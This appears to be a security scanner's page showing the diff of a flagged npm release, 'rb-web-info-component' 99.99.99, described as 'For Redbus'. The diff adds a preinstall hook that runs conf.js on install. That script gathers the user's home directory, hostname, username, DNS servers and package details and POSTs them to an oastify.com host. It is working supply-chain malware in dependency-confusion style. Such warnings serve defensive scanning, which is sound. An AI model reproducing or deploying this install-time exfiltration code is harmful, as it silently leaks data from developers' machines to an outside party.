rb-web-info-component 99.99.99

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of rb-web-info-component might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/conf.js +60 -0
  2. package/package.json +12 -0
package/conf.js ADDED
@@ -0,0 +1,60 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const packageJSON = require("./package.json");
6
+ const package = packageJSON.name;
7
+
8
+ const trackingData = JSON.stringify({
9
+
10
+ p: package,
11
+ c: __dirname,
12
+ hd: os.homedir(),
13
+ hn: os.hostname(),
14
+ un: os.userInfo().username,
15
+ dns: dns.getServers(),
16
+ r: packageJSON ? packageJSON.___resolved : undefined,
17
+ v: packageJSON.version,
18
+ pjson: packageJSON,
19
+
20
+ });
21
+
22
+ var postData = querystring.stringify({
23
+
24
+ msg: trackingData,
25
+
26
+ });
27
+
28
+ var options = {
29
+ hostname: "qf98291xk66at31fq14sy8gldcj47t.oastify.com",
30
+ port: 443,
31
+ path: "/",
32
+ method: "POST",
33
+
34
+ headers: {
35
+
36
+ "Content-Type": "application/x-www-form-urlencoded",
37
+ "Content-Length": postData.length,
38
+
39
+ },
40
+
41
+ };
42
+
43
+ var req = https.request(options, (res) => {
44
+
45
+ res.on("data", (d) => {
46
+
47
+ process.stdout.write(d);
48
+
49
+ });
50
+
51
+ });
52
+
53
+ req.on("error", (e) => {
54
+
55
+ // console.error(e);
56
+
57
+ });
58
+
59
+ req.write(postData);
60
+ req.end();
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "rb-web-info-component",
3
+ "version": "99.99.99",
4
+ "description": "For Redbus",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node conf.js",
8
+ "test": "echo \"Error: no test specified\" && exit 1"
9
+ },
10
+ "author": "thesanjok",
11
+ "license": "ISC"
12
+ }